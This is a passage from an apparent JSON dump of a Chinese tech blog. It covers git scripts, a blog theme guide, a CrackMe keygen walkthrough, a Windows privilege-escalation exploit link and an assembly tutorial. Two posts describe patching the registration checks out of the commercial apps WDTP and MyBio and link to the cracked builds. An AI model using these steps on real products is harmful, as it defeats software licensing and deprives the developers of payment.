style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epython the.py file_name \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003earticle_title\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eauthor_id\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# []括起来为可选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"为纸小墨一键创建md文件"},{"content":"有时候感觉项目push上去每次都敲那么几个命令挺烦人的，可以用这个脚本来代替手工\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python import os import subprocess import sys import time gitconfig = { \u0026#39;cwd\u0026#39;: \u0026#39;./blog/public\u0026#39;, \u0026#39;git\u0026#39;: { \u0026#39;github\u0026#39;: [\u0026#39;git@github.com:akkuman/akkuman.github.io.git\u0026#39;, \u0026#39;master\u0026#39;], \u0026#39;coding\u0026#39;: [\u0026#39;git@git.coding.net:Akkuman/Akkuman.git\u0026#39;, \u0026#39;coding-pages\u0026#39;], } } def main(): global gitconfig # change working directory os.chdir(gitconfig.get(\u0026#39;cwd\u0026#39;, \u0026#39;.\u0026#39;)) # check if git init if \u0026#39;.git\u0026#39; not in os.listdir(): subprocess.check_call([\u0026#39;git\u0026#39;, \u0026#39;init\u0026#39;]) # check if remote in config, if not, add the remote git_remotes = subprocess.check_output([\u0026#39;git\u0026#39;, \u0026#39;remote\u0026#39;, \u0026#39;-v\u0026#39;]) git_remotes_str = bytes.decode(git_remotes).strip() git_remotes_list = [line.split()[0] for line in git_remotes_str.split(\u0026#39;\\n\u0026#39;)] for k,v in gitconfig[\u0026#39;git\u0026#39;].items(): if k not in git_remotes_list: subprocess.check_call([\u0026#39;git\u0026#39;, \u0026#39;remote\u0026#39;, \u0026#39;add\u0026#39;, k, v[0]]) # add . \u0026amp; commit with message subprocess.check_call([\u0026#39;git\u0026#39;, \u0026#39;add\u0026#39;, \u0026#39;.\u0026#39;]) commit_message = \u0026#39;Site updated: %s\u0026#39; % time.strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;, time.localtime()) if len(sys.argv) == 2: commit_message = sys.argv[1] subprocess.call([\u0026#39;git\u0026#39;, \u0026#39;commit\u0026#39;, \u0026#39;-m\u0026#39;, commit_message]) # push to every remote repo for k,v in gitconfig[\u0026#39;git\u0026#39;].items(): subprocess.check_call([\u0026#39;git\u0026#39;, \u0026#39;push\u0026#39;, k, \u0026#39;master:%s\u0026#39; % v[1]]) if __name__ == \u0026#39;__main__\u0026#39;: if len(sys.argv) == 2: if sys.argv[1] == \u0026#39;-h\u0026#39;: print(\u0026#39;Usage:\\n\\t%s [commit_message]\u0026#39; % sys.argv[0]) main() ","permalink":"https://www.hacktech.cn/post/2018/08/git-push-python-script/","summary":"\u003cp\u003e有时候感觉项目push上去每次都敲那么几个命令挺烦人的，可以用这个脚本来代替手工\u003c/p\u003e","title":"一键git push脚本(python版)"},{"content":"主题介绍 为纸小墨写的一款主题,该主题移植自Yumoe\ngithub地址：ink-theme-story\nDemo ink-theme-story\n主题的一些食用说明 菜单 标题旁边有一个 · 字符，点击后便可显示菜单。1,2,3 分别代表 独立页面菜单、导航树(仅在文章界面有用)以及搜索框。\n一些功能 评论点击加载, 可以应对一些墙导致无法加载的场景 图片懒加载 评论系统支持来必力, Disqus, Gitment, 默认为Disqus \u0026hellip; 主题截图 使用方法 基础设置 进入到纸小墨程序的目录下, 也就是ink主程序的目录, 然后进入该目录下的blog目录\n然后执行\n1 git clone https://github.com/akkuman/ink-theme-story.git 或者下载git压缩包后解压到blog文件夹\n现在你可以看到blog目录下的ink-theme-story目录\n然后修改站点配置文件blog/config.yml\n站点配置文件一般如下:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 site: title: \u0026#34;Akkuman\u0026#34; subtitle: \u0026#34;Akkuman的技术博客\u0026#34; limit: 8 theme: ink-theme-story lang: zh url: \u0026#34;ink-theme-story.pancakeapps.com\u0026#34; comment: Akkuman logo: \u0026#34;-/images/avatar.png\u0026#34; # link: \u0026#34;{category}/{year}/{month}/{day}/{title}.html\u0026#34; link: \u0026#34;{year}/{month}/{day}/{title}.html\u0026#34; # root: \u0026#34;/blog\u0026#34; authors: me: name: \u0026#34;Akkuman\u0026#34; intro: \u0026#34;编程小白|技术菜鸟\u0026#34; avatar: \u0026#34;-/images/avatar.png\u0026#34; build: # output: \u0026#34;public\u0026#34; port: 8000 # Copied files to public folder when build copy: - \u0026#34;source/images\u0026#34; # Excuted command when use \u0026#39;ink publish\u0026#39; publish: | git add . -A git commit -m \u0026#34;update\u0026#34; git push origin 我们需要修改的地方有:\n1 2 3 4 title #title字段是截图中的左上角Akkuman字段, 比如我设置为Akkuman那么就是和我截图中一样 subtitle #网站子标题, 在标签页和归档能看到 limit: 8 #每页可显示的文章数目, 为了美观建议设置为8 theme: ink-theme-story #网站主题目录, 设置为该主题ink-theme-story 其他地方根据自己需求更改, 纸小墨说明文档见简洁的静态博客构建工具 —— 纸小墨（InkPaper）\n关于页面 在纸小墨中,每篇文章是有作者的,我现在按上面我给出的例子配置为例进行说明\n纸小墨中每一篇文章的头配置大致如下:\n1 2 3 4 5 6 7 8 9 title: \u0026#34;简洁的静态博客构建工具 —— 纸小墨（InkPaper）\u0026#34; date: 2015-03-01 18:00:00 +0800 update: 2016-07-11 17:00:00 +0800 author: me cover: \u0026#34;-/images/example.png\u0026#34; tags: - 设计 - 写作 preview: 纸小墨（InkPaper）是一个GO语言编写的开源静态博客构建工具，可以快速搭建博客网站。它无依赖跨平台，配置简单构建快速，注重简洁易用与更优雅的排版。 其中的preview是文章预览，也可在正文中使用\u0026lt;!--more--\u0026gt;分割, 是一个可选字段,我们不必管\n对我们有影响的字段配置除了基础的title等等之外, 需要关注一下author这个字段\n纸小墨每一篇文章的作者的关于页面是\n1 about.{{.Author.Id}}.html 比如我上面的站点配置文件中authors有一个值是me, 那么这个作者的关于页面就是about.me.html, 也就是我们需要建立一个page, 纸小墨主程序打包中有一个文件about.me.md, 可以参见这个文件的格式, 我在这里给出来:\n1 2 3 4 5 6 7 8 9 10 11 type: page title: \u0026#34;关于作者\u0026#34; author: me --- ## 纸小墨 构建只为纯粹书写的博客。 [http://www.chole.io/](http://www.chole.io/) 那么这个文件生成后就会在站点根目录下生成about.me.html文件.\n重点来了\n上面我说的关于页面是单个作者的关于页面, 在这个主题中, 我有定义一个站点的关于页面\n1 \u0026lt;a href=\u0026#34;{{.Site.Root}}/about.html\u0026#34;\u0026gt;\u0026lt;li\u0026gt;{{i18n \u0026#34;about\u0026#34;}}\u0026lt;/li\u0026gt;\u0026lt;/a\u0026gt; 我们只需要按照上面about.me.md的格式新建一个about.md即可, 我在这里给出一个about.md例子:\n1 2 3 4 5 6 type: page title: \u0026#34;关于本站\u0026#34; --- 我是一个站点关于页面例子 author字段可省略,看自己的喜好\n评论系统切换 本主题的评论采用点击再动态加载的方式, 所以不用担心因为Disqus被墙的原因导致页面打不开, 只有当你点击show comments时才会开始加载评论\n本主题的评论系统支持来必力, Disqus, Gitment\n来必力Livere 切换为来必力的话只需要修改站点配置文件blog/config.yml, 把comment字段的值修改成来必力的data-uid(可在来必力后台代码管理中看到), 然后打开blog/ink-theme-story/_comment.html文件, 把来必力评论的注释去掉, 然后把Disqus评论加上注释即可\nGitment 切换为Gitment的话同上修改, comment字段的格式为\n1 comment: \u0026#34;owner:repo:client_id:client_secret\u0026#34; 其中各个的属性为\n1 2 3 4 owner #你的 GitHub ID repo #存储评论的 repo client_id #你的 client ID client_secret #你的 client secret 然后打开blog/ink-theme-story/_comment.html文件, 把Gitment评论的注释去掉, 然后把Disqus评论加上注释即可\n写在最后 致谢 特别感谢Yumoe提供了这么简洁大方的主题\n","permalink":"https://www.hacktech.cn/post/2018/08/ink-theme-story/","summary":"\u003ch2 id=\"主题介绍\"\u003e主题介绍\u003c/h2\u003e\n\u003cp\u003e为纸小墨写的一款主题,该主题移植自\u003ca href=\"https://yumoe.com\"\u003eYumoe\u003c/a\u003e\u003c/p\u003e\n\u003c!--和[Artifact.](https://artifact.me/)--\u003e\n\u003cp\u003egithub地址：\u003ca href=\"https://github.com/akkuman/ink-theme-story\"\u003eink-theme-story\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"demo\"\u003eDemo\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://ink-theme-story.pancakeapps.com\"\u003eink-theme-story\u003c/a\u003e\u003c/p\u003e","title":"纸小墨ink简洁主题story爱上你的故事"},{"content":"项目开发过程中，会遇到本地配置文件每个开发人员不同的情况，但如果遇到类似数据库配置这种最终需要加入 git 版本控制的配置，则会陷入两难境地。要么不跟踪，要么有人提交后其他人同步下来必须手动修改，非常麻烦。其实，对于已被纳入版本管理的文件，git 也提供了很好的解决办法。\n告诉git忽略对已经纳入版本管理的文件 .classpath 的修改，git 会一直忽略此文件直到重新告诉 git 可以再次跟踪此文件 $ git update-index --assume-unchanged .classpath\n告诉 git 恢复跟踪 $ git update-index --assume-unchanged .classpath\n查看当前被忽略的、已经纳入版本库管理的文件：$ git ls-files -v | grep -e \u0026quot;^[hsmrck]\u0026quot;\n","permalink":"https://www.hacktech.cn/post/2018/08/git-update-index/","summary":"\u003cp\u003e项目开发过程中，会遇到本地配置文件每个开发人员不同的情况，但如果遇到类似数据库配置这种最终需要加入 git 版本控制的配置，则会陷入两难境地。要么不跟踪，要么有人提交后其他人同步下来必须手动修改，非常麻烦。其实，对于已被纳入版本管理的文件，git 也提供了很好的解决办法。\u003c/p\u003e","title":"git忽略对已入库文件的修改"},{"content":"blogger(blogspot)自带的是没有代码高亮的，我们可以用下面的方法添加代码高亮。\n首先我们打开blogger(blogspot)后台，然后点击主题背景--\u0026gt;修改html，然后在弹出的窗口右上角搜索(search)\u0026lt;/head\u0026gt;，然后在\u0026lt;/head\u0026gt;之前添加如下代码：\n1 2 3 4 5 \u0026lt;!-- highlight.js Additions START --\u0026gt; \u0026lt;link href=\u0026#39;//cdn.bootcss.com/highlight.js/9.12.0/styles/atom-one-light.min.css\u0026#39; rel=\u0026#39;stylesheet\u0026#39;/\u0026gt; \u0026lt;script src=\u0026#39;//cdn.bootcss.com/highlight.js/9.12.0/highlight.min.js\u0026#39;/\u0026gt; \u0026lt;script\u0026gt;hljs.initHighlightingOnLoad();\u0026lt;/script\u0026gt; \u0026lt;!-- highlight.js Additions END --\u0026gt; 其中版本号9.12.0和js以及css都是可以自行更改的，我只是选了我这个时间上最新的版本，并且选了比较适合本人blogger的配色，这些都是可以自行更改的。\n","permalink":"https://www.hacktech.cn/post/2018/05/blogger-code-highlight/","summary":"\u003cp\u003eblogger(blogspot)自带的是没有代码高亮的，我们可以用下面的方法添加代码高亮。\u003c/p\u003e","title":"blogger添加代码高亮"},{"content":"\n","permalink":"https://www.hacktech.cn/post/2018/05/64bit-register-and-rule/","summary":"\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/a59100f7b3d90135c5bf1e5e2eb8e524..png\"\u003e\u003c/p\u003e","title":"64位通用寄存器及其一般作用"},{"content":"来源 : bigric3/cve-2018-8120\nDetail : cve-2018-8120-analysis-and-exploit\n演示图 下载 CVE-2018-8120.zip\n","permalink":"https://www.hacktech.cn/post/2018/05/cve-2018-8120/","summary":"\u003cp\u003e来源 : \u003ca href=\"https://github.com/bigric3/cve-2018-8120\"\u003ebigric3/cve-2018-8120\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDetail : \u003ca href=\"http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html\"\u003ecve-2018-8120-analysis-and-exploit\u003c/a\u003e\u003c/p\u003e","title":"CVE-2018-8120 Windows权限提升"},{"content":"这两天把来自深渊补番完了，治愈系？不是，看起来画风确实是这样，但是细看之下其实能感受到故事所描述的残忍与黑暗。\n莉可的身世原来只是一个可以动的尸体，原来除咒之笼并不能抵抗深渊的诅咒。\n其实可以细想，莉可在上升的过程中不断承受诅咒一次次的死亡。\n在见到不动卿奥森的时候，奥森告诉了莉可这个残酷的事实，而却没有过多的对莉可心理进行描述，全是描写的奥森和累格，还真是无情呢。\n我挺喜欢奥森这个人的，孤傲或者说傲娇。\n在巨人之杯，剧情画风急转而下，莉可的濒死是如此真实。\n都说娜娜琪是老婆，其实我觉得娜娜琪这个人物挺可悲的，不是因为他的经历，当然他的经历是一部分，我觉得我觉得他可悲更多是他从来没有为过自己做过什么事情，一直活在期待之中。\n另外，我想说一下，娜娜琪不是男孩子吗，为什么是老婆。\n下一季应该会碰到黎明卿了，感觉他这个人挺黑暗的，不知道具体怎样。\n","permalink":"https://www.hacktech.cn/post/2018/04/made-in-abyss/","summary":"\u003cp\u003e这两天把来自深渊补番完了，治愈系？不是，看起来画风确实是这样，但是细看之下其实能感受到故事所描述的残忍与黑暗。\u003c/p\u003e","title":"补番完了 来自深渊"},{"content":"\n查壳无壳，vc写的。\n我们输入假码后，然后点击，弹出错误框，直接打开od，对MessageBoxA下断点也行，寻找字符串也行。\n一般的错误提示部分代码类似于这样。\n1 2 3 4 5 6 7 8 9 call xxx test xxx,xxx je xxxerror ... jmp xxx push xxx ;xxxerror ... call error 只需要往上找到关键跳直接nop就行。不过我们需要跟踪一下算法。\n我们找到关键跳的call上方下断，可以看到他把一个东西压栈了，可以猜想是真码。\n然后我们测试一下111111和1643803416，提示正确，那我们找到这段的段首下断，然后f9运行程序重新输入假码点击Check。重点观察1643803416的出现地。\n我们可以看到在关键call的前方不远处就有出现，那么这个add前方的call是加密算法call吗？\n显然不是的，我们可以看到这个CString::Format明显是对一个东西进行字符串格式化，格式是%lu(无符号长整数)，另外我们可以在它上面Enter跟一跟，可以发现直接从程序领空跳到系统领空了。所以我们可以猜测前面肯定是1643803416的一个什么数学形式然后用%lu格式化输出，我们可以推测是16进制，然后我们再重新来注意一下前面。\n我们发现了1643803416的十六进制，在上方有个循环。其实之前在f8下来的时候，那个循环我们就可以推测是算法，现在经过分析可以更加肯定了。mov eax,[local.4]这个是这个循环最终跳出来的地方，那么local.4那里就是我们所需要找的东西。\n在我们之前的两边跟中，我们可以测试发现local.7是你输入的Name的长度，local.5是我们输入的名字。\n我们把上面的循环好好跟一遍。下面直接看我注释理解吧。对了，我们跟踪过程中也可以发现Name长度不能小于5，就在这个循环上方有个简单的判断。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 004015BE |\u0026gt; \\C745 E0 00000\u0026gt;mov [local.8],0x0 004015C5 |. EB 09 jmp short Brad_Sob.004015D0 004015C7 |\u0026gt; 8B55 E0 /mov edx,[local.8] 004015CA |. 83C2 01 |add edx,0x1 004015CD |. 8955 E0 |mov [local.8],edx ; local8第一次进入循环为0，后续循环每次+1 004015D0 |\u0026gt; 8B45 E0 mov eax,[local.8] 004015D3 |. 3B45 E4 |cmp eax,[local.7] ; local7 = len(name) 004015D6 |. 7D 42 |jge short Brad_Sob.0040161A ; 当local8\u0026gt;=len(name)跳出循环 004015D8 |. 8B4D E0 |mov ecx,[local.8] 004015DB |. 51 |push ecx 004015DC |. 8D4D EC |lea ecx,[local.5] ; local5=name 004015DF |. E8 1C030000 |call Brad_Sob.00401900 ; 取name[local8]的十六进制ascii放入al 004015E4 |. 0FBED0 |movsx edx,al 004015E7 |. 8B45 F0 |mov eax,[local.4] ; local4初始值为0x81276345 004015EA |. 03C2 |add eax,edx 004015EC |. 8945 F0 |mov [local.4],eax ; local4 += name[local8]的十六进制 004015EF |. 8B4D E0 |mov ecx,[local.8] 004015F2 |. C1E1 08 |shl ecx,0x8 004015F5 |. 8B55 F0 |mov edx,[local.4] 004015F8 |. 33D1 |xor edx,ecx 004015FA |. 8955 F0 |mov [local.4],edx ; local4 = (local8\u0026lt;\u0026lt;8)^local4 004015FD |. 8B45 E0 |mov eax,[local.8] 00401600 |. 83C0 01 |add eax,0x1 00401603 |. 8B4D E4 |mov ecx,[local.7] 00401606 |. 0FAF4D E0 |imul ecx,[local.8] 0040160A |. F7D1 |not ecx 0040160C |. 0FAFC1 |imul eax,ecx ; eax = (~(len(name)*local8))*(local8+1) 0040160F |. 8B55 F0 |mov edx,[local.4] 00401612 |. 0FAFD0 |imul edx,eax 00401615 |. 8955 F0 |mov [local.4],edx ; local4 *= eax 00401618 |.^ EB AD \\jmp short Brad_Sob.004015C7 0040161A |\u0026gt; 8B45 F0 mov eax,[local.4] 相信结合我的注释自己细看一遍应该不太费力。下面直接写注册算法。其实上面的基本上用伪代码都写的比较明白了。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { // name为输入的第一个值 char* name = \u0026#34;111111\u0026#34;; int len_name = strlen(name); if (len_name\u0026lt;5) // name小于5出现提示并退出 printf(\u0026#34;User Name must have at least 5 characters.\\n\u0026#34;); else { long result = 0x81276345; for(int i = 0; i \u0026lt; len_name; i++) { result += name[i]; result ^= (i\u0026lt;\u0026lt;8); result *= ~(len_name*i)*(i+1); } printf(\u0026#34;result: %lu\\n\u0026#34;,result); } return 0; } ","permalink":"https://www.hacktech.cn/post/2018/03/160crackme-019/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1foyrcq7eydj207004jgli.jpg\"\u003e\u003c/p\u003e","title":"160CrackMe第十九Brad Soblesky.2"},{"content":"既然开始了，就把这一个系列的都破了算了，这次主角小隐本记MyBio\n和WDTP的原理是差不多的，先把软件界面换成e文，然后写了15个记录后提示注册，一样的路子，直接跳过注册窗口的弹出就好了\n然后查壳一样是vs2015的无壳64位程序，直接附加到x64dbg，然后有了之前WDTP的经验，我们直接找弹出注册窗口的地方，查找字符串，然后搜索上图中Serial-number:\n一样的，找到了注册窗体生成的地方，在段首下个断，然后回溯一次，可以看到\n直接把这个call上方的jle改成jmp即可爆破。\n软件下载地址：\n密码：0yb0cz\n解压后注意校验\n1 2 3 4 5 6 大小: 4181504 字节 文件版本: 2.1.1004 修改时间: 2018年2月28日, 21:27:02 MD5: EEA6B0BF010E45EA7EF340FFB543C316 SHA1: BAA4BE7B3F2DE0F75996C0E9BE8DA0C177444CE8 CRC32: 999277D5 ","permalink":"https://www.hacktech.cn/post/2018/02/mybio-crack/","summary":"\u003cp\u003e既然开始了，就把这一个系列的都破了算了，这次主角小隐本记MyBio\u003c/p\u003e","title":"MyBio小隐本记注册破解"},{"content":"今天来讲讲WDTP这个软件的破解。\n简介 WDTP 不止是一款开源免费的 GUI 桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验与计算机文本编写良好感受的 Markdown 编辑器。该软件研发的核心思想是：简洁高效、轻灵优雅、先进强悍、操作简单。\n破解 之前这个软件是开源的，后来作者把它闭源了，然后加上了注册机制，我今天测试了一下，在我写了十多篇文章之后我再添加就提示我需要注册。 查一下壳，没有壳，64位的 直接附加到x64dbg中，然后我们搜索一下字符串serial，可以找到错误提示的地方。 我们反汇编窗口中下个断，我们可以看到上方的ret，说明提示错误信息是跳转进来的，然后我们在段首下好断，重新注册可以找到调用这里的地方 我们跟过去 可以看到错误提示的call，这个call上方有一个jmp可以跳过，说明在前方应该有一个跳转跳过了这个jmp，直接跳到了这个错误提示call。我们再往前看一点。 我们可以看到上面的je，je前面的call是一个对比的call，爆破的话，我们不管这个，直接把je给nop掉。 然后我们执行，发现还是点击新建就会弹出来注册框，功能无法使用。 我们继续在字符串中找，可以看到窗口上面的Purchase，Question等等字符，可以发现错误提示的上面一段就是这个注册窗口弹出的一段，我们依旧在这个段的段首下段，然后找到调用它（弹注册窗）的地方。 它是直接jmp下来的，我们可以看到上面有一个call之后跟着一个test然后一个jne，我们可以猜想是你新建文档的时候先比对一下你是否注册，然后根据结果跳转，我们直接把jne改成jmp试试，让它直接跳过弹注册窗口。 完美，现在新建没问题了。\n导出 所以我们只需要把它的这个弹注册窗的地方直接jmp过就好，我们在我们修改的命令上面右键补丁 然后点击修复文件即可导出成一个破解版的exe。\n下载 下载后注意校验信息 文件信息：\n1 2 3 4 5 文件版本: 1.1.1004 修改时间: 2018年2月26日, 19:40:44 MD5: 5B8DF3D4572842376EA850B8551DEEED SHA1: B282AC870E4159A2ACEA389015FE4F4409A0F887 CRC32: F51675CE 密码：h7b4ru\n","permalink":"https://www.hacktech.cn/post/2018/02/wdtp-crack/","summary":"\u003cp\u003e今天来讲讲WDTP这个软件的破解。\u003c/p\u003e\n\u003ch2 id=\"简介\"\u003e简介\u003c/h2\u003e\n\u003cp\u003eWDTP 不止是一款开源免费的 GUI 桌面单机版静态网站生成器和简单方便的前端开发工具，更是一款跨平台的集笔记、个人知识管理、写作/创作、博客/网站内容与样式管理等功能于一体的多合一内容处理/管理器，同时还是一款高度追求用户体验与计算机文本编写良好感受的 Markdown 编辑器。该软件研发的核心思想是：简洁高效、轻灵优雅、先进强悍、操作简单。\u003c/p\u003e","title":"WDTP注册破解"},{"content":"\n","permalink":"https://www.hacktech.cn/post/2018/02/difference-between-dialog-and-window/","summary":"\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/8a56d90d62fb6a1ea149f5e4029829fa..png\"\u003e\u003c/p\u003e","title":"对话框和普通窗口工作方式的区别"},{"content":"我们将进一步学习对话框，探讨如何把对话框当成输入设备。如果您看了前一篇文章，那就会发现这次的例子只有少量的改动，就是把我们的对话框窗口附属到主窗口上。另外，我们还要学习通用对话框的用法。\n理论： 把对话框当成一个输入设备来用确实是非常地简单，创建完主窗口后，您只要调用函数 DialogBoxParam或 CreateDialogParam 就可以了，前一个函数只要在对话框的过程处理函数中处理相关的消息就可以，而后者你必须在消息循环段中插入函数 IsDialogMessage 的调用让它来处理键盘的按键逻辑。因为这两个程序段相对来说比较容易，我们就不详解。您可以下载并仔细研究。 下面我们来讨论通用对话框。WINDOWS已经为您准备好了预定义的对话框类，您可以拿来就用，这些通用对话框提供给用户以统一的界面。它们包括:打开文件、打印、选择颜色、字体和搜索等。您应该尽可能地用它们。处理这些对话框的代码在comdlg32.dll中，为了在您的应用程序中使用它们，就必须在链接阶段链接库文件 comdlg32.lib。然后调用其中的相关函数即可。对于打开文件通用对话框，该函数名为 GetOpenFileName，\u0026ldquo;保存为\u0026hellip;\u0026ldquo;对话框为 GetSaveFileName，打印通用对话框是 PrintDlg， 等等。每一个这样的函数都接收一个指向一个结构体的指针的参数，您可以参考WIN32 API手册得到详细的资料，本课中我将讲解创建和使用打开文件对话框。 下面是打开对话框函数 GetOpenFileName 的原型:\n1 GetOpenFileName proto lpofn:DWORD 您可以看到，该函数只有一个参数，即指向结构体OPENFILENAME的指针。当用户选择了一个文件并打开，该函数返回TRUE，否则返回FALSE。接下来我们看看结构体OPENFILENAME的定义:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 OPENFILENAME STRUCT lStructSize DWORD ? hwndOwner HWND ? hInstance HINSTANCE ? lpstrFilter LPCSTR ? lpstrCustomFilter LPSTR ? nMaxCustFilter DWORD ? nFilterIndex DWORD ? lpstrFile LPSTR ? nMaxFile DWORD ? lpstrFileTitle LPSTR ? nMaxFileTitle DWORD ? lpstrInitialDir LPCSTR ? lpstrTitle LPCSTR ? Flags DWORD ? nFileOffset WORD ? nFileExtension WORD ? lpstrDefExt LPCSTR ? lCustData LPARAM ? lpfnHook DWORD ? lpTemplateName LPCSTR ? OPENFILENAME ENDS 好，我们再来看看该结构体中常用的成员的意义:\nlStructSize 结构体OPENFILENAME的大小。 hwndOwner 拥有打开对话框的窗口的句柄。 hInstance 拥有该打开文件对话框的应用程序的实例句柄 。 lpstrFilter 以NULL结尾的一个或多个通配符。通配符是成对出现的，前一部分是描述部分，后一部分则是通配符的格式，譬如: 1 2 FilterString db \u0026#34;All Files (*.*)\u0026#34;,0, \u0026#34;*.*\u0026#34;,0 db \u0026#34;Text Files (*.txt)\u0026#34;,0,\u0026#34;*.txt\u0026#34;,0,0 注意:只有每一对中的第二部分是WINDOWS用来过滤所需选择的文件的，另外您必须在该部分后放置一个0，以示字符串的结束。\nnFilterIndex 用来指定打开文件对话框第一次打开时所用的过滤模式串，该索引是从1开始算的，即第一个通配符模式的索引是1，第二个是2，譬如上面的例子中，若指定该值为2，则缺省显示的模式串就是\u0026rdquo;*.txt\u0026rdquo;。 lpstrFile 需要打开的文件的名称的地址，该名称将会出现在打开文件对话框的编辑控件中，该缓冲区不能超过260个字符长，当用户打开文件后，该缓冲区中包含该文件的全路径名，您可以从该缓冲区中抽取您所需要的路径或文件名等信息。 nMaxFile lpstrFile的大小。 lpstrTitle 指向对话框标题的字符串。 Flags 该标志决定决定了对话框的风格和特点。 nFileOffset 在用户打开了一个文件后该值是全路径名称中指向文件名第一个字符的索引。譬如:若全路径名为\u0026quot;c:\\windows\\system\\lz32.dll\u0026quot;， 则该值为18。 nFileExtension 在用户打开了一个文件后该值是全路径名称中指向个文件扩展名第一个字符的索引。 例子: 下例中，我们演示了当用户选择\u0026quot;File-\u0026gt;Open\u0026quot;时，将弹出一个打开文件对话框，当用户选择了某个文件打开时，会弹出一个对话框，告知要打开的文件的全路径名，文件名和文件扩展名。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include \\masm32\\include\\windows.inc include \\masm32\\include\\user32.inc include \\masm32\\include\\kernel32.inc include \\masm32\\include\\comdlg32.inc includelib \\masm32\\lib\\user32.lib includelib \\masm32\\lib\\kernel32.lib includelib \\masm32\\lib\\comdlg32.lib .const IDM_OPEN equ 1 IDM_EXIT equ 2 MAXSIZE equ 260 OUTPUTSIZE equ 512 .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our Main Window\u0026#34;,0 MenuName db \u0026#34;FirstMenu\u0026#34;,0 ofn OPENFILENAME \u0026lt;\u0026gt; FilterString db \u0026#34;All Files\u0026#34;,0,\u0026#34;*.*\u0026#34;,0 db \u0026#34;Text Files\u0026#34;,0,\u0026#34;*.txt\u0026#34;,0,0 buffer db MAXSIZE dup(0) OurTitle db \u0026#34;-=Our First Open File Dialog Box=-: Choose the file to open\u0026#34;,0 FullPathName db \u0026#34;The Full Filename with Path is: \u0026#34;,0 FullName db \u0026#34;The Filename is: \u0026#34;,0 ExtensionName db \u0026#34;The Extension is: \u0026#34;,0 OutputString db OUTPUTSIZE dup(0) CrLf db 0Dh,0Ah,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW+1 mov wc.lpszMenuName,OFFSET MenuName mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\\ CW_USEDEFAULT,300,200,NULL,NULL,\\ hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM .IF uMsg==WM_DESTROY invoke 